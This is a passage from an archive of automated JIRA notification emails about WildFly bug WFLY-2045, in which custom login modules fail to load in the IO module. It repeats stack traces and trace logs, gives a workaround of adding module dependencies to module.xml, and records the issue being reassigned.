> 	at org.jboss.remoting3.remote.ServerConnectionOpenListener$AuthStepRunnable.run(ServerConnectionOpenListener.java:450)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> 12:49:38,684 TRACE [org.jboss.security] (Remoting "pwtest" task-1) PBOX000201: End isValid, result = false
> 12:49:38,687 TRACE [org.jboss.security.audit] (Remoting "pwtest" task-1) [Success]Source=org.jboss.as.security.service.SimpleSecurityManager;Action=authentication;principal=ADMINISTRATOR;
> 12:49:43,223 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000200: Begin isValid, principal: ADMINISTRATOR, cache entry: null
> 12:49:43,224 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000209: defaultLogin, principal: ADMINISTRATOR
> 12:49:43,225 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000221: Begin getAppConfigurationEntry(pw-security-domain), size: 5
> 12:49:43,226 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000224: End getAppConfigurationEntry(pw-security-domain), AuthInfo: AppConfigurationEntry[]:
> [0]
> LoginModule Class: org.jboss.as.security.remoting.RemotingLoginModule
> ControlFlag: LoginModuleControlFlag: optional
> Options:
> name=password-stacking, value=useFirstPass
> [1]
> LoginModule Class: org.jboss.security.auth.spi.DatabaseServerLoginModule
> Was Able to work around this issue by adding 
>     <module name="org.jboss.as.security"/>
>     <module name="org.picketbox"/>
> to wildfly\modules\system\layers\base\org\wildfly\extension\io\main\module.xml

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 13:20:04 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Tue, 10 Sep 2013 13:20:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2045) Missing Dependencies for IO
	Module
In-Reply-To: <JIRA.12500447.1378833349000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500447.1378833349000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500447.1378833349000.18842.1378833604416@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2045?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803228#comment-12803228 ] 

David Lloyd commented on WFLY-2045:
-----------------------------------

Darran would you mind looking at this?
                
> Missing Dependencies for  IO Module
> -----------------------------------
>
>                 Key: WFLY-2045
>                 URL: https://issues.jboss.org/browse/WFLY-2045
>             Project: WildFly
>          Issue Type: Bug
>          Components: Security
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Steven Rose
>            Assignee: Darran Lofthouse
>            Priority: Minor
>
> I  Get the following error when I try to Authenticate against a Cutom Login-Module:
> 1:
> 12:40:09,615 DEBUG [org.jboss.security] (Remoting "pwtest" task-2) PBOX000206: Login failure: javax.security.auth.login.LoginException: unable to find LoginModule class: org.jboss.as.security.remoting.RemotingLoginModule from [Module "org.wildfly.extension.io:main" from local module loader @487b34b4 (finder: local module finder @10c13a99 (roots: C:\wildfly\modules,C:\wildfly\modules\system\layers\base))]
>         at javax.security.auth.login.LoginContext.invoke(LoginContext.java:822) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext.access$000(LoginContext.java:203) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext$4.run(LoginContext.java:698) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext$4.run(LoginContext.java:696) [rt.jar:1.7.0_25]
>         at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext.invokePriv(LoginContext.java:695) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext.login(LoginContext.java:594) [rt.jar:1.7.0_25]
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.defaultLogin(JBossCachedAuthenticationManager.java:408)
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.proceedWithJaasLogin(JBossCachedAuthenticationManager.java:345)
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.authenticate(JBossCachedAuthenticationManager.java:333)
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.isValid(JBossCachedAuthenticationManager.java:146)
>         at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:385)
>         at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:349)
>         at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:336)
>         at org.jboss.as.domain.management.security.JaasCallbackHandler.handle(JaasCallbackHandler.java:162)
>         at org.jboss.as.domain.management.security.SecurityRealmService$1.handle(SecurityRealmService.java:172)
>         at org.jboss.as.remoting.RealmSecurityProvider$RealmCallbackHandler.handle(RealmSecurityProvider.java:337)
>         at org.jboss.sasl.util.AbstractSaslParticipant.tryHandleCallbacks(AbstractSaslParticipant.java:98)
>         at org.jboss.sasl.util.AbstractSaslParticipant.handleCallbacks(AbstractSaslParticipant.java:83)
>         at org.jboss.sasl.plain.PlainSaslServer.access$000(PlainSaslServer.java:41)
>         at org.jboss.sasl.plain.PlainSaslServer$1.evaluateMessage(PlainSaslServer.java:88)
>         at org.jboss.sasl.util.AbstractSaslParticipant.evaluateMessage(AbstractSaslParticipant.java:165)
>         at org.jboss.sasl.util.AbstractSaslServer.evaluateResponse(AbstractSaslServer.java:56)
>         at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:237) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
>         at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:208) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
>         at org.jboss.remoting3.remote.ServerConnectionOpenListener$AuthStepRunnable.run(ServerConnectionOpenListener.java:450)
>         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
>         at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> AND 
> 12:49:38,663 TRACE [org.jboss.security] (Remoting "pwtest" task-1) PBOX000244: Begin abort method
> 12:49:38,663 DEBUG [org.jboss.security] (Remoting "pwtest" task-1) PBOX000206: Login failure: javax.security.auth.login.LoginException: unable to find LoginModule class: org.jboss.security.auth.spi.DatabaseServerLoginModule from [Module "org.wildfly.extension.io:main" from local module loader @5a0deddc (finder: local module finder @487b34b4 (roots: C:\wildfly\modules,C:\wildfly\modules\system\layers\base))]
> 	at javax.security.auth.login.LoginContext.invoke(LoginContext.java:822) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext.access$000(LoginContext.java:203) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext$4.run(LoginContext.java:698) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext$4.run(LoginContext.java:696) [rt.jar:1.7.0_25]
> 	at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext.invokePriv(LoginContext.java:695) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext.login(LoginContext.java:594) [rt.jar:1.7.0_25]
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.defaultLogin(JBossCachedAuthenticationManager.java:408)
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.proceedWithJaasLogin(JBossCachedAuthenticationManager.java:345)
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.authenticate(JBossCachedAuthenticationManager.java:333)
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.isValid(JBossCachedAuthenticationManager.java:146)
> 	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:385) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:349) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:336) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.security.JaasCallbackHandler.handle(JaasCallbackHandler.java:162)
> 	at org.jboss.as.domain.management.security.SecurityRealmService$1.handle(SecurityRealmService.java:172)
> 	at org.jboss.as.remoting.RealmSecurityProvider$RealmCallbackHandler.handle(RealmSecurityProvider.java:337)
> 	at org.jboss.sasl.util.AbstractSaslParticipant.tryHandleCallbacks(AbstractSaslParticipant.java:98)
> 	at org.jboss.sasl.util.AbstractSaslParticipant.handleCallbacks(AbstractSaslParticipant.java:83)
> 	at org.jboss.sasl.plain.PlainSaslServer.access$000(PlainSaslServer.java:41)
> 	at org.jboss.sasl.plain.PlainSaslServer$1.evaluateMessage(PlainSaslServer.java:88)
> 	at org.jboss.sasl.util.AbstractSaslParticipant.evaluateMessage(AbstractSaslParticipant.java:165)
> 	at org.jboss.sasl.util.AbstractSaslServer.evaluateResponse(AbstractSaslServer.java:56)
> 	at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:237) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
> 	at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:208) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
> 	at org.jboss.remoting3.remote.ServerConnectionOpenListener$AuthStepRunnable.run(ServerConnectionOpenListener.java:450)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> 12:49:38,684 TRACE [org.jboss.security] (Remoting "pwtest" task-1) PBOX000201: End isValid, result = false
> 12:49:38,687 TRACE [org.jboss.security.audit] (Remoting "pwtest" task-1) [Success]Source=org.jboss.as.security.service.SimpleSecurityManager;Action=authentication;principal=ADMINISTRATOR;
> 12:49:43,223 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000200: Begin isValid, principal: ADMINISTRATOR, cache entry: null
> 12:49:43,224 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000209: defaultLogin, principal: ADMINISTRATOR
> 12:49:43,225 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000221: Begin getAppConfigurationEntry(pw-security-domain), size: 5
> 12:49:43,226 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000224: End getAppConfigurationEntry(pw-security-domain), AuthInfo: AppConfigurationEntry[]:
> [0]
> LoginModule Class: org.jboss.as.security.remoting.RemotingLoginModule
> ControlFlag: LoginModuleControlFlag: optional
> Options:
> name=password-stacking, value=useFirstPass
> [1]
> LoginModule Class: org.jboss.security.auth.spi.DatabaseServerLoginModule
> Was Able to work around this issue by adding 
>     <module name="org.jboss.as.security"/>
>     <module name="org.picketbox"/>
> to wildfly\modules\system\layers\base\org\wildfly\extension\io\main\module.xml

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 13:22:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Tue, 10 Sep 2013 13:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2045) Missing Dependencies for IO
	Module
In-Reply-To: <JIRA.12500447.1378833349000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500447.1378833349000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500447.1378833349000.18862.1378833723770@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2045?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd updated WFLY-2045:
------------------------------

    Assignee: Tomaz Cerar  (was: Darran Lofthouse)

    
> Missing Dependencies for  IO Module
> -----------------------------------
>
>                 Key: WFLY-2045
>                 URL: https://issues.jboss.org/browse/WFLY-2045
>             Project: WildFly
>          Issue Type: Bug
>          Components: Security
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Steven Rose
>            Assignee: Tomaz Cerar
>            Priority: Minor
>
> I  Get the following error when I try to Authenticate against a Cutom Login-Module:
> 1:
> 12:40:09,615 DEBUG [org.jboss.security] (Remoting "pwtest" task-2) PBOX000206: Login failure: javax.security.auth.login.LoginException: unable to find LoginModule class: org.jboss.as.security.remoting.RemotingLoginModule from [Module "org.wildfly.extension.io:main" from local module loader @487b34b4 (finder: local module finder @10c13a99 (roots: C:\wildfly\modules,C:\wildfly\modules\system\layers\base))]
>         at javax.security.auth.login.LoginContext.invoke(LoginContext.java:822) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext.access$000(LoginContext.java:203) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext$4.run(LoginContext.java:698) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext$4.run(LoginContext.java:696) [rt.jar:1.7.0_25]
>         at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext.invokePriv(LoginContext.java:695) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext.login(LoginContext.java:594) [rt.jar:1.7.0_25]
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.defaultLogin(JBossCachedAuthenticationManager.java:408)
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.proceedWithJaasLogin(JBossCachedAuthenticationManager.java:345)
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.authenticate(JBossCachedAuthenticationManager.java:333)
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.isValid(JBossCachedAuthenticationManager.java:146)
>         at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:385)
>         at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:349)
>         at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:336)
>         at org.jboss.as.domain.management.security.JaasCallbackHandler.handle(JaasCallbackHandler.java:162)
>         at org.jboss.as.domain.management.security.SecurityRealmService$1.handle(SecurityRealmService.java:172)
>         at org.jboss.as.remoting.RealmSecurityProvider$RealmCallbackHandler.handle(RealmSecurityProvider.java:337)
>         at org.jboss.sasl.util.AbstractSaslParticipant.tryHandleCallbacks(AbstractSaslParticipant.java:98)
>         at org.jboss.sasl.util.AbstractSaslParticipant.handleCallbacks(AbstractSaslParticipant.java:83)
>         at org.jboss.sasl.plain.PlainSaslServer.access$000(PlainSaslServer.java:41)
>         at org.jboss.sasl.plain.PlainSaslServer$1.evaluateMessage(PlainSaslServer.java:88)
>         at org.jboss.sasl.util.AbstractSaslParticipant.evaluateMessage(AbstractSaslParticipant.java:165)
>         at org.jboss.sasl.util.AbstractSaslServer.evaluateResponse(AbstractSaslServer.java:56)
>         at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:237) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
>         at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:208) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
>         at org.jboss.remoting3.remote.ServerConnectionOpenListener$AuthStepRunnable.run(ServerConnectionOpenListener.java:450)
>         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
>         at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> AND 
> 12:49:38,663 TRACE [org.jboss.security] (Remoting "pwtest" task-1) PBOX000244: Begin abort method
> 12:49:38,663 DEBUG [org.jboss.security] (Remoting "pwtest" task-1) PBOX000206: Login failure: javax.security.auth.login.LoginException: unable to find LoginModule class: org.jboss.security.auth.spi.DatabaseServerLoginModule from [Module "org.wildfly.extension.io:main" from local module loader @5a0deddc (finder: local module finder @487b34b4 (roots: C:\wildfly\modules,C:\wildfly\modules\system\layers\base))]
> 	at javax.security.auth.login.LoginContext.invoke(LoginContext.java:822) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext.access$000(LoginContext.java:203) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext$4.run(LoginContext.java:698) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext$4.run(LoginContext.java:696) [rt.jar:1.7.0_25]
> 	at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext.invokePriv(LoginContext.java:695) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext.login(LoginContext.java:594) [rt.jar:1.7.0_25]
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.defaultLogin(JBossCachedAuthenticationManager.java:408)
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.proceedWithJaasLogin(JBossCachedAuthenticationManager.java:345)
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.authenticate(JBossCachedAuthenticationManager.java:333)
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.isValid(JBossCachedAuthenticationManager.java:146)
> 	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:385) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:349) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:336) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.security.JaasCallbackHandler.handle(JaasCallbackHandler.java:162)
> 	at org.jboss.as.domain.management.security.SecurityRealmService$1.handle(SecurityRealmService.java:172)
> 	at org.jboss.as.remoting.RealmSecurityProvider$RealmCallbackHandler.handle(RealmSecurityProvider.java:337)
> 	at org.jboss.sasl.util.AbstractSaslParticipant.tryHandleCallbacks(AbstractSaslParticipant.java:98)
> 	at org.jboss.sasl.util.AbstractSaslParticipant.handleCallbacks(AbstractSaslParticipant.java:83)
> 	at org.jboss.sasl.plain.PlainSaslServer.access$000(PlainSaslServer.java:41)
> 	at org.jboss.sasl.plain.PlainSaslServer$1.evaluateMessage(PlainSaslServer.java:88)
> 	at org.jboss.sasl.util.AbstractSaslParticipant.evaluateMessage(AbstractSaslParticipant.java:165)
> 	at org.jboss.sasl.util.AbstractSaslServer.evaluateResponse(AbstractSaslServer.java:56)
> 	at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:237) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
> 	at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:208) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
> 	at org.jboss.remoting3.remote.ServerConnectionOpenListener$AuthStepRunnable.run(ServerConnectionOpenListener.java:450)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> 12:49:38,684 TRACE [org.jboss.security] (Remoting "pwtest" task-1) PBOX000201: End isValid, result = false
> 12:49:38,687 TRACE [org.jboss.security.audit] (Remoting "pwtest" task-1) [Success]Source=org.jboss.as.security.service.SimpleSecurityManager;Action=authentication;principal=ADMINISTRATOR;
> 12:49:43,223 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000200: Begin isValid, principal: ADMINISTRATOR, cache entry: null
> 12:49:43,224 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000209: defaultLogin, principal: ADMINISTRATOR
> 12:49:43,225 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000221: Begin getAppConfigurationEntry(pw-security-domain), size: 5
> 12:49:43,226 TRACE [org.jboss.security] (Remoting "pwtest" task-2) PBOX000224: End getAppConfigurationEntry(pw-security-domain), AuthInfo: AppConfigurationEntry[]:
> [0]
> LoginModule Class: org.jboss.as.security.remoting.RemotingLoginModule
> ControlFlag: LoginModuleControlFlag: optional
> Options:
> name=password-stacking, value=useFirstPass
> [1]
> LoginModule Class: org.jboss.security.auth.spi.DatabaseServerLoginModule
> Was Able to work around this issue by adding 
>     <module name="org.jboss.as.security"/>
>     <module name="org.picketbox"/>
> to wildfly\modules\system\layers\base\org\wildfly\extension\io\main\module.xml

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 13:24:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Tue, 10 Sep 2013 13:24:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2045) Missing Dependencies for IO
	Module
In-Reply-To: <JIRA.12500447.1378833349000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500447.1378833349000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500447.1378833349000.18867.1378833843748@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2045?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803228#comment-12803228 ] 

David Lloyd edited comment on WFLY-2045 at 9/10/13 1:22 PM:
------------------------------------------------------------

-Darran would you mind looking at this?- Never mind, [~ctomc] said he wanted to.
                
      was (Author: dmlloyd):
    Darran would you mind looking at this?
                  
> Missing Dependencies for  IO Module
> -----------------------------------
>
>                 Key: WFLY-2045
>                 URL: https://issues.jboss.org/browse/WFLY-2045
>             Project: WildFly
>          Issue Type: Bug
>          Components: Security
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Steven Rose
>            Assignee: Tomaz Cerar
>            Priority: Minor
>
> I  Get the following error when I try to Authenticate against a Cutom Login-Module:
> 1:
> 12:40:09,615 DEBUG [org.jboss.security] (Remoting "pwtest" task-2) PBOX000206: Login failure: javax.security.auth.login.LoginException: unable to find LoginModule class: org.jboss.as.security.remoting.RemotingLoginModule from [Module "org.wildfly.extension.io:main" from local module loader @487b34b4 (finder: local module finder @10c13a99 (roots: C:\wildfly\modules,C:\wildfly\modules\system\layers\base))]
>         at javax.security.auth.login.LoginContext.invoke(LoginContext.java:822) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext.access$000(LoginContext.java:203) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext$4.run(LoginContext.java:698) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext$4.run(LoginContext.java:696) [rt.jar:1.7.0_25]
>         at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext.invokePriv(LoginContext.java:695) [rt.jar:1.7.0_25]
>         at javax.security.auth.login.LoginContext.login(LoginContext.java:594) [rt.jar:1.7.0_25]
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.defaultLogin(JBossCachedAuthenticationManager.java:408)
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.proceedWithJaasLogin(JBossCachedAuthenticationManager.java:345)
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.authenticate(JBossCachedAuthenticationManager.java:333)
>         at org.jboss.security.authentication.JBossCachedAuthenticationManager.isValid(JBossCachedAuthenticationManager.java:146)
>         at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:385)
>         at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:349)
>         at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:336)
>         at org.jboss.as.domain.management.security.JaasCallbackHandler.handle(JaasCallbackHandler.java:162)
>         at org.jboss.as.domain.management.security.SecurityRealmService$1.handle(SecurityRealmService.java:172)
>         at org.jboss.as.remoting.RealmSecurityProvider$RealmCallbackHandler.handle(RealmSecurityProvider.java:337)
>         at org.jboss.sasl.util.AbstractSaslParticipant.tryHandleCallbacks(AbstractSaslParticipant.java:98)
>         at org.jboss.sasl.util.AbstractSaslParticipant.handleCallbacks(AbstractSaslParticipant.java:83)
>         at org.jboss.sasl.plain.PlainSaslServer.access$000(PlainSaslServer.java:41)
>         at org.jboss.sasl.plain.PlainSaslServer$1.evaluateMessage(PlainSaslServer.java:88)
>         at org.jboss.sasl.util.AbstractSaslParticipant.evaluateMessage(AbstractSaslParticipant.java:165)
>         at org.jboss.sasl.util.AbstractSaslServer.evaluateResponse(AbstractSaslServer.java:56)
>         at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:237) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
>         at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:208) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
>         at org.jboss.remoting3.remote.ServerConnectionOpenListener$AuthStepRunnable.run(ServerConnectionOpenListener.java:450)
>         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
>         at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> AND 
> 12:49:38,663 TRACE [org.jboss.security] (Remoting "pwtest" task-1) PBOX000244: Begin abort method
> 12:49:38,663 DEBUG [org.jboss.security] (Remoting "pwtest" task-1) PBOX000206: Login failure: javax.security.auth.login.LoginException: unable to find LoginModule class: org.jboss.security.auth.spi.DatabaseServerLoginModule from [Module "org.wildfly.extension.io:main" from local module loader @5a0deddc (finder: local module finder @487b34b4 (roots: C:\wildfly\modules,C:\wildfly\modules\system\layers\base))]
> 	at javax.security.auth.login.LoginContext.invoke(LoginContext.java:822) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext.access$000(LoginContext.java:203) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext$4.run(LoginContext.java:698) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext$4.run(LoginContext.java:696) [rt.jar:1.7.0_25]
> 	at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext.invokePriv(LoginContext.java:695) [rt.jar:1.7.0_25]
> 	at javax.security.auth.login.LoginContext.login(LoginContext.java:594) [rt.jar:1.7.0_25]
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.defaultLogin(JBossCachedAuthenticationManager.java:408)
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.proceedWithJaasLogin(JBossCachedAuthenticationManager.java:345)
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.authenticate(JBossCachedAuthenticationManager.java:333)
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.isValid(JBossCachedAuthenticationManager.java:146)
> 	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:385) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:349) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:336) [wildfly-security-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> 	at org.jboss.as.domain.management.security.JaasCallbackHandler.handle(JaasCallbackHandler.java:162)
> 	at org.jboss.as.domain.management.security.SecurityRealmService$1.handle(SecurityRealmService.java:172)
> 	at org.jboss.as.remoting.RealmSecurityProvider$RealmCallbackHandler.handle(RealmSecurityProvider.java:337)
> 	at org.jboss.sasl.util.AbstractSaslParticipant.tryHandleCallbacks(AbstractSaslParticipant.java:98)
> 	at org.jboss.sasl.util.AbstractSaslParticipant.handleCallbacks(AbstractSaslParticipant.java:83)
> 	at org.jboss.sasl.plain.PlainSaslServer.access$000(PlainSaslServer.java:41)
> 	at org.jboss.sasl.plain.PlainSaslServer$1.evaluateMessage(PlainSaslServer.java:88)
> 	at org.jboss.sasl.util.AbstractSaslParticipant.evaluateMessage(AbstractSaslParticipant.java:165)
> 	at org.jboss.sasl.util.AbstractSaslServer.evaluateResponse(AbstractSaslServer.java:56)
> 	at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:237) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
> 	at org.xnio.sasl.SaslUtils.evaluateResponse(SaslUtils.java:208) [xnio-api-3.1.0.CR6.jar:3.1.0.CR6]
